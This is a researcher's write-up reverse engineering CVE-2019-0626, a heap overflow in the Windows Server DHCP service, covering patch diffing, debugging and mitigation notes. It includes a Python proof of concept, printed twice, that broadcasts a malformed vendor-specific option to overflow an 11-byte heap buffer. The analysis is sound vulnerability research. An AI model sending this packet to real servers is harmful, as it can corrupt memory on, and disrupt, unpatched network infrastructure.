Today I’ll be doing an in-depth write up on CVE-2019-0626, and how to find it. Due to the fact this bug only exists on Windows Server, I’ll be using a Server 2016 VM (corresponding patch is KB4487026).

Note: this bug was not found by me, I reverse engineered it from the Febuary 2019 security patch.

Binary Comparison

I ran a BinDiff comparison between the pre and post patch versions of dhcpssvc.dll. Below, we can see that only 4 functions have changed (similarity <1.0).



BinDiff comparison of dhcpssvc.dll before and after installing the patch.

The first function I decided to look at was “UncodeOption”. My reasoning is it sounds like it’s some kind of decoder, which is a common location for bugs.

Double clicking the target function brings up two side by side flow graphs. The original function is on the left, and updated one on the right. Each graph will split functions up into logical blocks of assembly code, similar to IDA’s “graph view”.

Green blocks are identical across both functions.

Yellow blocks have some instruction variant between function.

Grey blocks contain newly added code.

Red blocks contain removed code.

A side by side comparison of function control flow

According to BinDiff, a fair few blocks have been modified. Most interestingly there are two loops, which both now have a new block of code. additional blocks can be if statements containing extra sanity checks; this looks like a good place to start.

Whilst it’s possible to do more analysis in BinDiff, I find the interface to be too clunky. I think I already have all the information I need, so it’s time to dive into IDA.

Code Analysis

If you have the full version of IDA, you can use the decompiler to save you digging through assembly code. Most bugs will be visible at high level, though in very rare cases you may need to compare code at assembly level.

Due to the way IDA’s decompiler works, you may find there are duplicate variables. For example, “v8” is a copy of “a2”, but neither value is ever modified. We can clean up the code by right clicking “v8”, and selecting map to another variable By mapping “v8” to “a2”, all instances of “v8” will be replaced by “a2”. Remapping all unnecessary duplicate variables will make things easier to read.

Here is a side by side comparison of the code after cleanup.

A side-by-side comparison of patched and unpatched functions.

The type of the second loop (yellow box) in now “do while” instead of “for”, which now matches the first loop (the loop format change could explains a lot of the yellow blocks in BinDiff). Most importantly, a completely new sanity check has been added (red box). The code in blue box has also been simplified, with some of it moved inside the loop.

My next step was to figure out what the “UncodeOption” function is actually doing. Right-clicking a function and selecting “jump to xref…” returns a list of every reference.

A list of references to UncodeOption

Hmm…All of the calls to “UncodeOption” come from “ParseVendorSpecific” or “ParseVendorSpecific Content”. This lead me to google “DHCP Vendor Specific”.

Google’s automatic completion filled in some blanks here. I now know that DHCP has something called “vendor specific options”. A function named “UncodeOption” being called by “ParseVendorSpecific”? Kinda implies decoding of a vendor specific option. So, what’s a vendor specific option?

Vendor Specific Options

The first result for googling “DHCP Vendor Specific Options” is a blog post which tells me everything I needed to know [1]. Very helpfully, the blog post explain the packet format of the vendor specific options.

The format is simple: a 1 byte option code, followed by a 1 byte length specifier, followed by the option value. Now we just need to send a test packet.

I found a useful DHCP test client on a random blog [2]. Here is an example command.



dhcptest.exe –query –option “Vendor Specific Information”[str]=”hello world”

This sets the vendor specific option to “hello world”. Now, we can see if “UncodeOption” gets called.

Runtime Analysis

In an attempt to cut corners I set a breakpoint on “UncodeOption”. I sent my DHCP request, and hoped for the best.

IDA Pro Memory View

Awesome! The breakpoint was hit. Looks like the parameters are easy to understand too.

RCX (argument 1) points to the start of the vendor specific option.

RDX (argument 2) points to the end of the vendor specific option.

R8 is 0x2B (the option code for vendor specific options).

Now I’m going to revisit the decompiled code and add some descriptive names; I also guessed some variable types. Knowing the format of the vendor specific options helps a lot.

The un-patched code after some renaming

The addition of some descriptive names and my new found knowledge of vendor specific options made understanding the code much easier. I’ll break it down.

There are two loops (starting on line 25 and line 44).

First Loop

Gets the option code (1st byte of the option buffer). Verify the option code matches the value sent in R8 (0x2B). Get’s the option size (2nd byte of the option buffer), then adds it to a variable I’ve named required_size. increments buffer_ptr_1 to point to the end of the option buffer. Breaks if the new buffer_ptr_1 is larger than the end of the buffer (buffer_end). Ends the loop if “buffer_ptr_1 + option size + 2” is greater than buffer_end.

Essentially, the loop will get the length of the option value (in our case “hello world”). If multiple vendor specific options have been sent back to back, the loop will calculate the total size of all values combined. The variable “required_size” is used to allocate heap space later on.

Second Loop

Gets the option code (1st byte of the option buffer). Verify the option code matches the value sent in R8 (0x2B). Get’s the option size (2nd byte of the option buffer). Append the option value to heap space (i.e. “hello world”) by copying <option_size> number of bytes. increments buffer_ptr_2 to point to the end of the option buffer. Ends the loop if the new buffer_ptr_2 is greater than buffer_end.

Code Purpose

The function implements a typical array parser. The first loop reads ahead to calculate the buffer size required to parse the array. The second loop then parses the array into a newly allocated buffer.

The Bug

After staring at the two loop implementations side-by-side, I noticed something.

A Side-by-side comparison (Loop 1 is on the left, Loop 2 is on the right)

Both loops have a condition which will cause them to exit if the buffer pointer reaches the end of the array (green box). Interestingly, loop 1 has an extra check (red box). Loop 1 also aborts if the next element in the array is invalid (i.e. its’ size will cause the pointer to increment past the end of the array). The difference in logic means loop 1 will check the validity of the next element in the array before processing it, whilst loop 2 will copy the element, then exit due to buffer_ptr_2 being larger than buffer_end.

Due to the fact loop 1 is responsible for calculating size, the allocated buffer will only allocate size for the valid array elements. Loop 2 will copy all the valid array elements, as well as a single invalid one, before exiting.

So, what if we sent the following?

Malicious Option Array

The size calculation loop would parse the first option size (0x0B) successfully. Then, the next option size is validated. Due to the fact there are not 0xFF bytes following the option size, it would be seen as invalid and disregarded. The result would be an allocation size of 0x0B (11 bytes).

The copy loop would copy the first option value “hello world”. On the second iteration, the option size isn’t validated. The copy will result in 255 bytes (0xFF) being appended to the buffer. A total of 266 will be copied to the 11 byte of heap space, overflowing it by 255 bytes.

For the last element to be seen as invalid, there must be less than 255 bytes between the 2nd option length and the end of the buffer (achieved by putting the malicious array at the end of the DHCP packet).

Something interesting to note is: we can put any number of bytes after the last option length, as long as it’s less than 255. We can overflow the heap with up to 254 bytes of data we specify, or up to 254 bytes of whatever is after our packet in the heap. Essentially, it’s possible to do both out-of-bounds (OOB) read and write).



Proof of Concept

To verify the bug, I needed to craft a malicious DHCP packet. I begun by sending a legitimate DHCP packet using dhcp-test, which I captured with WireShark.

A DHCP packet displayed by WireShark

Looks like the vendor specific options buffer is already at the end of the packet, nice! I simply extracted the hex to a python script and made a simple PoC.

Tip: you can right click on the “Bootstrap Protocol” column, then select “Copy”, followed by “..As Escaped String”.

from socket import * import struct import os dhcp_request = ( "\x01\x01\x06\x00\xd5\xa6\xa8\x0c\x00\x00\x80\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x63\x82\x53\x63" \ "\x35\x01\x01\x2b\x0b\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\xff" ) dhcp_request = dhcp_request[:-1] #remove end byte (0xFF) dhcp_request += struct.pack('=B', 0x2B) #vendor specific option code dhcp_request += struct.pack('=B', 0xFF) #vendor specific option size dhcp_request += "A"*254 #254 bytes of As dhcp_request += struct.pack('=B', 0xFF) #packet end byte s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) #DHCP is UDP s.bind(('0.0.0.0', 0)) s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) #put socket in broadcast mode s.sendto(dhcp_request, ('255.255.255.255', 67)) #broadcast DHCP packet on port 67 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from socket import * import struct import os dhcp_request = ( "\x01\x01\x06\x00\xd5\xa6\xa8\x0c\x00\x00\x80\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x63\x82\x53\x63" \ "\x35\x01\x01\x2b\x0b\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\xff" ) dhcp_request = dhcp_request [ : - 1 ] #remove end byte (0xFF) dhcp_request += struct . pack ( '=B' , 0x2B ) #vendor specific option code dhcp_request += struct . pack ( '=B' , 0xFF ) #vendor specific option size dhcp_request += "A" * 254 #254 bytes of As dhcp_request += struct . pack ( '=B' , 0xFF ) #packet end byte s = socket ( AF_INET , SOCK_DGRAM , IPPROTO_UDP ) #DHCP is UDP s . bind ( ( '0.0.0.0' , 0 ) ) s . setsockopt ( SOL_SOCKET , SO_BROADCAST , 1 ) #put socket in broadcast mode s . sendto ( dhcp_request , ( '255.255.255.255' , 67 ) ) #broadcast DHCP packet on port 67

Next, I attached a debugger to the svchost process containing dhcpssvc.dll and set some breakpoints. One breakpoint is on HeapAlloc, and the other is after the copy loop. Now I send my malicious DHCP packet.

HeapAlloc breakpoint hit

On the HeapAlloc breakpoint, you can see that the allocation size is 0x0B (enough space for just “hello world”). I wonder what happens when we click run again?

post-copy breakpoint hit

Whoops! The parser copied “hello world” and 254 bytes of ‘A’s to a heap allocation of only 11 bytes in size. This is most definitely an overflow, but we shouldn’t expect a crash unless we overwrite something critical.

Exploitability Considerations

Heap overflows can often be leveraged to gain remote code execution (RCE); however, there are some hurdles to overcome first. Over the years Microsoft have gradually introduced new mitigations, reducing heap overflow exploitability. I’ll summaries some of the important mitigations, but you can see a more full write-up on TechNet [3][4].

Windows Vista and Above

Most generic heap overflow attacks rely on heap metadata forging to gain arbitrary write or execute capabilities (primitives). Unfortunately, Windows Vista added encoding and verification of heap metadata. Metadata fields are now XORed with a key, massively complicating modification.

Without the ability to forge heap metadata, attackers must focus on overwriting the heap data itself. It’s still possible to overwrite objects stored on the heap, such as a class instance; these can provide the same primitives as metadata forgery.

Windows 8 and Above

Allocations smaller than 16,368 bytes go on something called the Low Fragmentation Heap (LFH). Windows 8 adds LFH allocation randomization, which makes the allocation order far less predictable. Being unable to control where an object is allocated makes overwriting a game of chance; however, there’s still hope.

If an object’s allocation is attacker controlled, one could allocate hundreds of copies, increasing the chance of a successful overwrite. Of course, you’d have to find such an object and it’d have to be exploitable.

Conclusion

I’ve not been able to spend as much time on this bug as I’d like, and am yet to find a RCE method for newer systems. So far I’ve found noticeda couple of TCP interfaces which may allow for better heap control. Assuming something more interesting doesn’t appear, I may come back to this in future.





References